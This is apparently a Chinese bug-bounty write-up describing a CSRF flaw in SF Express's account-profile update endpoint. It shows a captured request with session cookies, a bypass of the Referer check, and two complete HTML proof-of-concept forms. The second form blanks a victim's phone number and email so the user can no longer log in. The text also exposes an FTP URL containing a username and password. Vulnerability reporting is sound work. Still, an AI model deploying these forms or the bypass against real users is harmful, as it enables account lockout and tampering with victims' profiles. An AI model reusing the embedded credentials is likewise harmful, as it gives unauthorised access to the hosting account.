@1kbfree 2018-07-12T05:25:27.000000Z 字数 3766 阅读 1846

顺丰速运的严重csrf之不让你登陆用户

漏洞挖掘

1、首先打开url => https://i.sf-express.com/new/cn/sc/user/userinfo/user_info.html

image_1ci6b3cim1q9ad71m1glk3ee4m.png-109.6kB

2、点击修改后填写数据，如图

image_1ci6bag501u65bbgqkhv6e4el9.png-111.5kB

3、点击保存后抓包，抓取的数据包如下：

POST /service/new/user/updateUserInfo HTTP/1.1
Host: i.sf-express.com
User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.04
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: https://i.sf-express.com/new/cn/sc/user/userinfo/user_info.html
Content-Length: 265
Cookie: Hm_lvt_32464c62d48217432782c817b1ae58ce=1531321682; Hm_lvt_ab48527a5b11dbe1934bbeb083628ad6=1531367459,1531368054,1531368061,1531368203; register=1; AGREE_AND_HIDE=activated; JSESSIONID=643F4B17E9BC897C9476D8333F5BC9EA; SERVERID=app5; Hm_lpvt_ab48527a5b11dbe1934bbeb083628ad6=1531369019; Hm_lpvt_32464c62d48217432782c817b1ae58ce=1531321682; effeCoupon=0; totalPoint=0; pointVal=0; l=2; u=17520556594; t=0; ct=0; userId=839974630B4041CEB539787425CCE7C4; loginWayMark=0; å°æ¬çç¨æ·_ffs=0-0-0-0-0
Connection: close
name=1111&company=csrf_test&sex=M&department=csrf_test&birthday=1900-01-01&position=csrf_test&phone=&provinceId=010&provinceName=%E5%8C%97%E4%BA%AC&cityId=010&cityName=%E5%8C%97%E4%BA%AC%E5%B8%82&countyId=501&countyName=%E6%9C%9D%E9%98%B3%E5%8C%BA&address=csrf_test

这里是有判断Referer的，我们先将其放在Burp的Repeater模块里~

image_1ci6bfq7d1ln71k4n9g11kuhd22m.png-157.5kB

经过不断的尝试，发现是可以绕过的，如图：

image_1ci6bibe5cth180a13k3105u1cq613.png-167kB

image_1ci6bjintmcb1k27hsi1pg8oce1g.png-180.7kB

结果发现，当Referer的值存在user/userinfo/user_info.html的时候，就可以成功保存。

4、经过分析，我们将其构造为Csrf Poc：

为了更方便审核大大，我创建了一个免费空间，并且在创建
image_1ci6ekqcl12ta1ovv7jb1m91187q2d.png-37.4kB

csrf.html里面的代码为：

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://i.sf-express.com/service/new/user/updateUserInfo" method="POST" id="bd">
      <input type="hidden" name="name" value="iamfree" />
      <input type="hidden" name="company" value="csrf_test" />
      <input type="hidden" name="sex" value="M" />
      <input type="hidden" name="department" value="csrf_test" />
      <input type="hidden" name="birthday" value="1900-01-01" />
      <input type="hidden" name="position" value="csrf_test" />
      <input type="hidden" name="phone" value="" />
      <input type="hidden" name="provinceId" value="010" />
      <input type="hidden" name="provinceName" value="5201314" />
      <input type="hidden" name="cityId" value="010" />
      <input type="hidden" name="cityName" value="csrf" />
      <input type="hidden" name="countyId" value="501" />
      <input type="hidden" name="countyName" value="csrf" />
      <input type="hidden" name="address" value="csrf_test" />
      <input type="submit" value="go">
    </form>
  </body>
  <script>
    // document.getElementById('bd').submit();
  </script>
</html>

5、在浏览器访问一下~

url => ftp://web6060:keacRSjV@ftp09.host.me0.cn/wwwroot/user/userinfo/user_info.html/csrf.html

image_1ci6eo91s19vs96h9g51fi6dnn2q.png-70.3kB

image_1ci6eon5kh5n1ged1bba1uqa1ave37.png-130.1kB

6、查看是否被修改
image_1ci6eq68m1nc11mnc7661fae1uer3k.png-134.5kB

这里我突发奇想，因为在登陆的时候，需要填写如下内容：

image_1ci6erg211n3411u812o01nqqan41.png-355.9kB

我在想，如果我也能将手机号码和邮箱修改掉，这个用户是不是再也无法登陆了，尝试一下~

7、加入2个参数

image_1ci6ev2o4i991eevciv63316j54e.png-164.3kB

image_1ci6evjt81mbq9ke1pq61l8s1g0l4r.png-115.5kB

哇，果然没了，再将其构造为csrf poc~

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://i.sf-express.com/service/new/user/updateUserInfo" method="POST" id="bd">
      <input type="hidden" name="name" value="iamfree1" />
      <input type="hidden" name="company" value="csrf_test" />
      <input type="hidden" name="sex" value="M" />
      <input type="hidden" name="department" value="csrf_test" />
      <input type="hidden" name="birthday" value="1900-01-01" />
      <input type="hidden" name="position" value="csrf_test" />
      <input type="hidden" name="phone" value="" />
      <input type="hidden" name="provinceId" value="010" />
      <input type="hidden" name="provinceName" value="5201314" />
      <input type="hidden" name="cityId" value="010" />
      <input type="hidden" name="cityName" value="csrf" />
      <input type="hidden" name="countyId" value="501" />
      <input type="hidden" name="countyName" value="csrf" />
      <input type="hidden" name="address" value="csrf_test" />
      <input type="hidden" name="mobile" value="">
      <input type="hidden" name="emailAddr" value="">
      <input type="submit" value="go">
    </form>
  </body>
  <script>
    // document.getElementById('bd').submit();
  </script>
</html>

8、再次去浏览器打开~

image_1ci6f3m7t1ubouek1n171alk1jf958.png-112kB

image_1ci6f4gbb1br81p713nfta4p85l.png-120.9kB

那么，这样子，我将名字改成了iamfree1，并且将手机号码和邮箱都设置为空，用户就没办法再登陆了，所以我只要将csrf poc发送给任意用户，任意用户就没法登陆了~

顺丰速运的严重csrf之不让你登陆用户

内容目录